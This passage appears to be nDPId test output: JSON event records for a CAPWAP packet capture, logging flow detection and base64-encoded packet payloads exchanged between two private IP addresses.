+01130{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329015,"pkt_ts_usec":864032,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"uDhh8wWsJOmzR64gCABFwAJAAN1AAH8RYqzAqAoJwKgKChR+MFwCLAAAAQAAABb+\/wAAAAAAAAABAFICAABGAAEAAAAAAEb+\/1THBGrnQkBiCOiEJmWcYgJTJ2LHLNkUCzmYWiepYzUmIAuQEJH0EbrZjBAR5PTI9q3AI4TBA3cx7DmoY63UgXPQAC8AFv7\/AAAAAAAAAAIBtAsABH8AAgAAAAABqAAEfAAEeTCCBHUwggNdoAMCAQICCh5gRKwAAAAGErkwDQYJKoZIhvcNAQEFBQAwOTEWMBQGA1UEChMNQ2lzY28gU3lzdGVtczEfMB0GA1UEAxMWQ2lzY28gTWFudWZhY3R1cmluZyBDQTAeFw0xNDAzMTIxNzM1MzlaFw0yNDAzMTIxNzQ1MzlaMIGUMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTERMA8GA1UEBxMIU2FuIEpvc2UxFjAUBgNVBAoTDUNpc2NvIFN5c3RlbXMxIzAhBgNVBAMTGkFJUi1DVDI1MDQtSzktMjRlOWIzNDdhZTIwMSAwHgYJKoZIhvcNAQkBFhFzdXBwb3J0QGNpc2NvLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOPi2I8ziSqEVxOiOVhWNpC\/tfOVYdMWlIRKNCC4va1s8VMtUi2ggUcP9mMKEQqDEqXmFetUdCXweIgb8v08o1xVi9BOmZLDmn+9meGY9e8gfEDlC0Fx0y2BYAaezRcVtWmb\/LkyTAI="} +01132{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329015,"pkt_ts_usec":864034,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"uDhh8wWsJOmzR64gCABFwAJAAN5AAH8RYqvAqAoJwKgKChR+MFwCLAAAAQAAABb+\/wAAAAAAAAADAhMLAAR\/AAIAAagAAgc9KYF4GhQV0bkpQJQ\/tuN3aovv6wToZ03mRpKsXw+WtGtdaDwVlRnGSEipQPvlxx2YNBLlHYAI40pxFzyRTdOG2CXAWQk398G39KZVsgZGrObYWqlycEV\/eMHKShw14D7qZJklUO4hnqbWOMCtB8QbPAYg2djpRqPPeDbBjFM9iZxRFYNJP4r4BqNm7cyy3sEGhxInyijJs4kCAwEAAaOCASEwggEdMAsGA1UdDwQEAwIFoDAdBgNVHQ4EFgQUgxGfsHsPvc2ybyHuKDp2+k+XQp8wHwYDVR0jBBgwFoAU0MUiJqtPRmDsrgWRx9xa0bBH92wwPwYDVR0fBDgwNjA0oDKgMIYuaHR0cDovL3d3dy5jaXNjby5jb20vc2VjdXJpdHkvcGtpL2NybC9jbWNhLmNybDBMBggrBgEFBQcBAQRAMD4wPAYIKwYBBQUHMAKGMGh0dHA6Ly93d3cuY2lzY28uY29tL3NlY3VyaXR5L3BraS9jZXJ0cy9jbWNhLmNlcjA\/BgkrBgEEAYI3FAIEMh4wAEkAUABTAEUAQwBJAG4AdABlAHIAbQBlAGQAaQBhAHQAZQBPAGYAZgBsAGkAbgBlMA0GCSqGSIb3DQEBBQUAA4IBAQAMLRoFmxYzOuEOJ7NJ6\/3gaC4bumL8S1zsd0\/gJQkwVrFKMvKIhgl0acSzrlwp8i0="} +00830{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329015,"pkt_ts_usec":864161,"pkt_caplen":360,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":360,"pkt_l4_len":326,"pkt":"uDhh8wWsJOmzR64gCABFwAFaAN9AAH8RY5DAqAoJwKgKChR+MFwBRgAAAQAAABb+\/wAAAAAAAAAEANALAAR\/AAIAA68AAMSV8eWLwg\/T77WxbxIxRK6x2jYlo7Z2cqoh9b6JGB3HnnGYc304EkjWR+kyoZhdnfnZ97xdoWjT+G80HRr3fzMZ7IED\/Ld3Y89rwj57M0zSxp5gIx4\/ydX1YhtsU2K0YpTuBL3T\/qMxPOkAtfgypMobpqdvaJj87AmG4hOvNwcBxhM6Pb0uvol4tl4xIF512+IBp\/FbJt8wL3AC7jnPWfJfL\/IVpIJkTrPhUKCnPoZlUPPR\/oLxU49YxkvqyK1enrUgd1PBFv7\/AAAAAAAAAAUAGAsABH8AAgAEcwAADEQad4fMdu\/vnlUC6Rb+\/wAAAAAAAAAGABINAAAGAAMAAAAAAAYDAQJAAAAW\/v8AAAAAAAAABwAMDgAAAAAEAAAAAAAA"} +01136{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329016,"pkt_ts_usec":44409,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"JOmzR64guDhh8wWsCABFwAJAAAdAAP8R44HAqAoKwKgKCTBcFH4CLAtQAQAAABb+\/wAAAAAAAAACAhMLAAR6AAIAAAAAAgcABHcABHQwggRwMIIDWKADAgECAgoqrIqiAAAAAXOpMA0GCSqGSIb3DQEBBQUAMDkxFjAUBgNVBAoTDUNpc2NvIFN5c3RlbXMxHzAdBgNVBAMTFkNpc2NvIE1hbnVmYWN0dXJpbmcgQ0EwHhcNMTQwMTIwMjAyOTQ2WhcNMjQwMTIwMjAzOTQ2WjCBjDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExETAPBgNVBAcTCFNhbiBKb3NlMRYwFAYDVQQKEw1DaXNjbyBTeXN0ZW1zMRswGQYDVQQDExJBUDNHMi1iODM4NjFmMzA1YWMxIDAeBgkqhkiG9w0BCQEWEXN1cHBvcnRAY2lzY28uY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuATk7cPa3vnTJxzfUObrDdM7J6XTufQvIacU3Ko0964hJ3LBGSsj5kA9vLCMwwOvJ1Wwi4cHSCWpk++jEHE\/nygBfhD0eQkGisre\/HO3xzX8g\/LcyG\/fbKRMLjye\/Vb5ddsJIignGLgK5fzFipt\/iOf6QiLYdxWF8y9n\/i\/BVpq6gd9AM+A\/x9muYJcgQIpczbcCWqUfOQUBCXC8yA5wz06TyT3wkLuURU3d6+qz8hY9rTvwnKHEsgrQUhQh\/\/L4stJ7Oc3rKX7Hb+0yjgM="} +01130{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329016,"pkt_ts_usec":44410,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"JOmzR64guDhh8wWsCABFwAJAAAhAAP8R44DAqAoKwKgKCTBcFH4CLDCFAQAAABb+\/wAAAAAAAAADAhMLAAR6AAIAAgcAAgdRVKWCKgzEmWs0Bk3UzuMHn4UQXJew7sBrgh1uZcXapKQCc4xKwKhOV+neAoRRFl9WswIDAQABo4IBJDCCASAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdDgQWBBRl+ocEe3Yr7yaqsuGt+0MLa3o38DAfBgNVHSMEGDAWgBTQxSImq09GYOyuBZHH3FrRsEf3bDA\/BgNVHR8EODA2MDSgMqAwhi5odHRwOi8vd3d3LmNpc2NvLmNvbS9zZWN1cml0eS9wa2kvY3JsL2NtY2EuY3JsMEwGCCsGAQUFBwEBBEAwPjA8BggrBgEFBQcwAoYwaHR0cDovL3d3dy5jaXNjby5jb20vc2VjdXJpdHkvcGtpL2NlcnRzL2NtY2EuY2VyMD8GCSsGAQQBgjcUAgQyHjAASQBQAFMARQBDAEkAbgB0AGUAcgBtAGUAZABpAGEAdABlAE8AZgBmAGwAaQBuAGUwDQYJKoZIhvcNAQEFBQADggEBADb+3CII5dtP8QXQjyC\/bbpVT8vnZCKeo9I9HVpqS7JxgKgt2Q+jxuXLpe\/hZSKkLtaRyfppiBo9wkCISIQdx6hykciFQCIqY094jpczAbBBGuDXgM6P17irKz0F0YcrSWBqRLOOVlxDTQ+1gUWRvwv5n2B+h8+b2Xop5uteh9PSrtdY6bYBvPd1uxuOl9tPnTa+owg="} +00579{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329016,"pkt_ts_usec":44410,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"JOmzR64guDhh8wWsCABFwAClAAlAAP8R5RrAqAoKwKgKCTBcFH4AkTSbAQAAABb+\/wAAAAAAAAAEAHgLAAR6AAIABA4AAGwO60eCwWrlPgSFY62APN2PPcWZnI2Zdr8ywPYb0yh7sc8jOEdpl3bC9hpeJFRHUNiILeT35N20+eK4xhtBgVlauus8xPz0OnSmo+ZFqaGGZqmlKbcD4H94Qr\/Pa6I34FKTe8EW5CHp54taDaw="} +00781{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329016,"pkt_ts_usec":44410,"pkt_caplen":329,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":329,"pkt_l4_len":295,"pkt":"JOmzR64guDhh8wWsCABFwAE7AApAAP8R5IPAqAoKwKgKCTBcFH4BJ2GxAQAAABb+\/wAAAAAAAAAFAQ4QAAECAAMAAAAAAQIBAKWp9n\/WITq6NCsApnsZKUBxM8SiZMAffLBQM+GS0aV4LqZFesqFzxKEHwhGnQV7\/Rmxi8LH9BtxffYttqmcnNNhHY2wJkzenfnFFeZUKA1zOlO5nldNzNicwU2EwLGFw98y01XZ4uuff7jq3rwhkCgI6nxPrtUtEovbkuhVZYJ3tukAUCcsP0DAA+VpXlM4s7e5ww55q08d51ka0pqBsyrzb4hbEKiYDTL9bz5\/339Q2rLBvAVQXCzpJsBpESHRo+vjk8dbdkjqROD0ywFkuLYNI84Gzic+c3nQYvy43TC4n0c9itg2BYuFRfLNXZjpIP+sE8ITCnVRdqpUHk2VrQA="} +00906{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329016,"pkt_ts_usec":44504,"pkt_caplen":420,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":420,"pkt_l4_len":386,"pkt":"JOmzR64guDhh8wWsCABFwAGWAAtAAP8R5CfAqAoKwKgKCTBcFH4BggMgAQAAABb+\/wAAAAAAAAAGAQ4PAAECAAQAAAAAAQIBAKzqmDA5ptloyEefacEa3YZgJXJyrzHF9nOG+TK9vyBNPWeO9+lhySpNcxfS8U9xgOzjbnL4Y8XZDOAhiQFo8vgjxgbH1rJwvhKQMjpbB+xdMWwdAZVbqz\/DJLtziqhxnhe\/GeuuhoXqmlJ7RBS889V98vMqx8wmgWQ9IXwmnK36CCAZCauFy7HXZ0sOzDk9wNxlY\/eY\/72RK74kwLuFDOHXIPaNDAU+HsbXTmvlbNtFVnwHDJimGDggl85KsTO808\/4PBQujPnd0LudLsXt0Z3ZQQ7ZfuPbaIy4ykb9jPf8UlzC+ettkAlrxmevD8RB2ZeTOWIDYXnJFAhBcldYXJQU\/v8AAAAAAAAABwABARb+\/wABAAAAAAAAAEBV91YC49Abw+RBYmothQ3D6tqvTueKPrWukdB\/wh0UtvIy46qL++VfDHw4siAWRqqz+G6lxJZxWYAYP9VmMLsC"} +00527{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329016,"pkt_ts_usec":178283,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"uDhh8wWsJOmzR64gCABFwAB7AOBAAH8RZG7AqAoJwKgKChR+MFwAZwAAAQAAABT+\/wAAAAAAAAAIAAEBFv7\/AAEAAAAAAAAAQM4p0S2Be8BScJ9\/t\/V5ioLrBk4kt01aT9C3ULVTwKotu4SpBhH4dYERsQJCgfQ\/FU95FjFjz1ipPTEr6AwbtI8="} +02374{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329016,"pkt_ts_usec":179779,"pkt_caplen":1499,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1499,"pkt_l4_len":1465,"pkt":"JOmzR64guDhh8wWsCABFwAXNAAxAAP8R3+\/AqAoKwKgKCTBcFH4FuaeNAQAAABf+\/wABAAAAAAABBaDmAzlxG66QVgkbosOGeUT5ktnM5kdDfqf0y4vZqHLD7ovzkRUa\/ObwOn6cYo4k9jzJQ6DMeI\/pr1EqMM\/AQirdxUjnphrCvlQhnglSCjmfZzINoGTcU87gocQNDgpypIE8JUFoPssg9PTkH\/c3zwNhbFDYvXQb5W2E\/UgYlVhikkkuN7d5FHT1h0PeLAckT63E4BEjFCelTVt6BqW6m+hq2vSZVEAcyoPuCMfD9z2FT7q61X2dcy41n6xQXr9OH6n8GWB2KblI+G0rmxzqC8DI9godC1JS8pBIRoI6yzZ8ZS9awHZUGf5k9fPcqxjjWL8J3dVlpkr4NzoXIBBCutVy\/5vfl8TbznxfTj7WziOniRxi+Iq24YaWL125+5UOOq8f\/zrftURrKAA9Yj2Do9NnNzE5h5kjOYFgZ+vb5vHA5W0IReEdYx4Ttsa3aZgoDc8QzeJSD55fLryL8nFdQW\/b6jHH6AsD4puPyKK12dCPsGdGbM0rMmFmtHOgBuJC72YtzPoNLKkVvKEEFgOYXK4onfbLLKAyWFvDafHnW9r5C3b5Hp3hbDLL+oxzlyHTPIDAPJgIAlLPTRo3Ma\/DHW14LsIx\/VRbCm7RVOZmzsVJYRDxf4n6K3aE45qtE58Zx0JFUB+yaEU6Uj\/iU2otshPCHbaRI87l9up85Ubwe3XRpgWSMtBZHZa0OTK3JIBIpMREShejSDLyKY+DnnNAoUnP\/7Ql5GVRBzZk\/QVy0u5lMSQSRMOF94ZXmpkkPdAxOlTVa5Ctro3OB\/WgmXbqLn7CLEawsy7i4OEM\/WnKUNDoB\/sO5hI3jAZG1+1ahmYqcdB5eVTkc\/fiuQak5G6m17muwaPWb3w3U6ffihNB1G\/0KZWCbJPI8oYBb0LrUG5\/efcDg2u6A5c6z774+yc1\/G1e3ie58xZUTJFwWoktEOOpYTKRyabVbkMeOD7fdal7VKbOlqnYYmCEVwynq2wyezZ1CMOPW94YDVkf9vO\/iFqRI0nrMAH9iiimfMD1bugFELyVDn5km63nh6nOyWmfOx1z6bxiiUOKFS4\/LYzlgovSdTCM8U2xFzjpasIC4XBo17pikTq1YpFHF5ZEsHIKa\/37lNcuYcn47q+wScm9i2IQ9kaLjI3mzMEOOGATB2NXOxfmV75qrGCBqw+Vvo6eIc3exWC558ll1oubhh1ajMKghB9wTXibG3lNkdb8gCKsGZk8MgR04ly0wrr4EGlv+gDQHMYbQFOL2eFlldKmVreEcLLGnhaPdMAvCF0UtdldbMjHcpIgbn3EL939HB28U0hOygU4J7S2\/MMCVwuQzKSqORR33idf2RynyvJBNFqpxMSGo5SRry4yCVsXD7xhGcMeMxDJrv4V\/mVkyRARl+R0jDprQYwEPdJgtt2PpqA55\/mcAcdAkHfuJZgKlQ0Vlf8nYtva9l84XhdZddmXlNcAXfkljZkNXHOqwQvJAmkKnZddci10scaj7OfU0sWlnTEAc5q9WHUiSun4sWxeKZdsn7oBUugugaesjlM5UNVUMHW7Rz3Hj21EOdnaCUQ1G\/mR9\/uiB5C2kdSvnpquEg+\/Cy8R3v4jrDoNBgsWmikv9GvL5Sji8foVqG1EYRqL7KnLdfHl1zk9SNomSEvntwoUI9eLKpsc5cMHQtnlUpcdXNGNQLDXqqgxXzEcgm0eeHB+NeiAFESghJEIkfRhFrs+0OKNHIYfgp+CHzYezil7WJPa2xzTS7eevs+L4+qJ7a4yO5C4SiGQBWrT41vsY\/uwuHHUJowpcu\/9P6pD08V7adBfe1BFvL9hq0zrk1iIJiI5otDB0ITAToyjfxx3j9Zlg+X8cBKPfE0XET4RYDNMr955aHBJz4dk81Q6TxnUQy0j2vAOsfFaxIbSJi1RJyGKlBZaB9mMO15X8SnWAVEtMz4="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":116,"source":"capwap.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1422329017533,"flow_last_seen":0,"flow_tot_l4_data_len":88,"flow_min_l4_data_len":88,"flow_max_l4_data_len":88,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"192.168.10.9","src_port":12380,"dst_port":5247,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00502{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329017,"pkt_ts_usec":533285,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"JOmzR64guDhh8wWsCABFwABsAAFAAEARpFzAqAoKwKgKCTBcFH8AWAAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFKDMU3RsAQJYlAAEcq6fyE50AAEcACwAFJ\/9UIA8C1d0="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":116,"source":"capwap.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1422329017533,"flow_last_seen":0,"flow_tot_l4_data_len":88,"flow_min_l4_data_len":88,"flow_max_l4_data_len":88,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"192.168.10.9","src_port":12380,"dst_port":5247,"l4_proto":"udp","ndpi": {"proto":"CAPWAP","breed":"Acceptable","category":"Network"}} +00619{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329018,"pkt_ts_usec":33268,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"JOmzR64guDhh8wWsCABFwADDAAJAAEARpATAqAoKwKgKCTBcFH8ArwAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFL9Qy3RsAQJYlAAEcq6fyE50AAEkACwAFKFJLQAQC3ePdGwBAliUAARyrp\/ITnQAAHQALAAUtdhsgDQK\/xN0bAECWJQABHKun8hOdAAAOAAsABS9iq+AIAt7o3RsAQJYlAAEcq6fyE50AAAwACwAFL7WkAA0C3+g="} +00738{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329018,"pkt_ts_usec":533282,"pkt_caplen":296,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":296,"pkt_l4_len":262,"pkt":"JOmzR64guDhh8wWsCABFwAEaAANAAEARo6zAqAoKwKgKCTBcFH8BBgAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFN3Va3RsAQJYlAAEcq6fyE50AACMACwAFMGt3IAoC5+ndGwBAliUAARyrp\/ITnQAAEwALAAUwdLNADQLo6d0bAECWJQABZICZPC30AAADAAsABTJ3KPD9AqWm3RsAQJYlAAH4Ht\/dIQ8AAB8ACwAFNejwUJoCvcLdGwBAliUAAfge390hDwAAEgALAAU2FOxglQK9wt0bAECWJQAB+B7f3SEPAAAcAAsABTZHxnCRAr\/A3RsAQJYlAAH4Ht\/dIQ8AAAcACwAFN246sJsCvr4="} +00542{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329019,"pkt_ts_usec":33154,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"JOmzR64guDhh8wWsCABFwACJAARAAEARpDzAqAoKwKgKCTBcFH8AdQAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFPxZ83RsAQJYlAAH4Ht\/dIQ8BABcALAAFORP5UJQCtLDdGwBAliUAAfge390hDwEAFwAsAAU5O8ZgngK0sA=="} +00660{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329022,"pkt_ts_usec":33115,"pkt_caplen":238,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":238,"pkt_l4_len":204,"pkt":"JOmzR64guDhh8wWsCABFwADgAAVAAEARo+TAqAoKwKgKCTBcFH8AzAAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFbN1R3RsAQJYlAAEcq6fyE50AAAAACwAFajBGkAsC7uTdGwBAliUAAXx6kbf6FgAAGgALAAVq6G\/ACgLR0N0bAECWJQABHKun8hOdAAAJAAsABWsIPqABAu\/k3RsAQJYlAAEcq6fyE50AACUACwAFbBYHsAUC7+TdGwBAliUAARyrp\/ITnQAAMwALAAVstjrADQLu5A=="} +00542{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329022,"pkt_ts_usec":533110,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"JOmzR64guDhh8wWsCABFwACJAAZAAEARpDrAqAoKwKgKCTBcFH8AdQAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFdH5v3RsAQJYlAAEcq6fyE50AABQACwAFbZTN0AUC7eTdGwBAliUAAXx6kbf6FgAAAgALAAVt4GRQCALSzw=="} +00500{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329023,"pkt_ts_usec":33141,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"JOmzR64guDhh8wWsCABFwABsAAdAAEARpFbAqAoKwKgKCTBcFH8AWAAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFfB+a3RsAQJYlAAF8epG3+hYBADIALAAFdlKSIAQCz8o="} +00620{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329023,"pkt_ts_usec":533121,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"JOmzR64guDhh8wWsCABFwADDAAhAAEARo\/7AqAoKwKgKCTBcFH8ArwAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFg8C33RsAQJYlAAEcq6fyE50BAEcALAAFfRaA8AUC4uXdGwBAliUAARyrp\/ITnQEASQAsAAV977MACwLk5t0bAECWJQAB2LssxieZAAAbAAsABX83KGCdAry33RsAQJYlAAHYuyzGJ5kBAAkALAAFgandIJoCpKQ="} +00775{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329024,"pkt_ts_usec":33103,"pkt_caplen":325,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":325,"pkt_l4_len":291,"pkt":"JOmzR64guDhh8wWsCABFwAE3AAlAAEARo4nAqAoKwKgKCTBcFH8BIwAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFi2Hh3RsAQJYlAAGEeohETCAAAAcACwAFhkvCMAICwsLdGwBAliUAAYR6iERMIAAADwALAAWG87lADALDwt0bAECWJQABhHqIREwgAAAdAAsABYeQv1AEAr7B3RsAQJYlAAGEeohETCAAAAkACwAFiDBXYAwCwMXdGwBAliUAAYR6iERMIAAABAALAAWI2t1wBgK9v90bAECWJQABtAf58HYUAAACAAsABYnpqeAKAtbQ3RsAQJYlAAG0B\/nwdhQAACwACwAFik\/Z8AMC1tXdGwBAliUAAbQH+fB2FAAAEgALAAWKuBgADQLV1A=="} +00543{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329024,"pkt_ts_usec":532993,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"JOmzR64guDhh8wWsCABFwACJAApAAEARpDbAqAoKwKgKCTBcFH8AdQAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFkwL73RsAQJYlAAGEeohETCABAB0ALAAFj1OREAQCu7TdGwBAliUAAYR6iERMIAEAIwAsAAWP9HAgDQLAuA=="} +00501{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329025,"pkt_ts_usec":32979,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"JOmzR64guDhh8wWsCABFwABsAAtAAEARpFLAqAoKwKgKCTBcFH8AWAAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFmqQi3RsAQJYlAAF8epG3+hYAAC8ACwAFman9cAoCzdM="} +00502{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329025,"pkt_ts_usec":532954,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"JOmzR64guDhh8wWsCABFwABsAAxAAEARpFHAqAoKwKgKCTBcFH8AWAAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFokVC3RsAQJYlAAF8epG3+hYAABgACwAFnKONABgC1dY="} +00543{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1422329026,"pkt_ts_usec":32952,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"JOmzR64guDhh8wWsCABFwACJAA1AAEARpDPAqAoKwKgKCTBcFH8AdQAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFqeZm3RsAQJYlAAFIQ3zRg20AAA4ACwAFo66FoJsCs6\/dGwBAliUAAXx6kbf6FgEALwAsAAWkuumAHgLNyw=="} 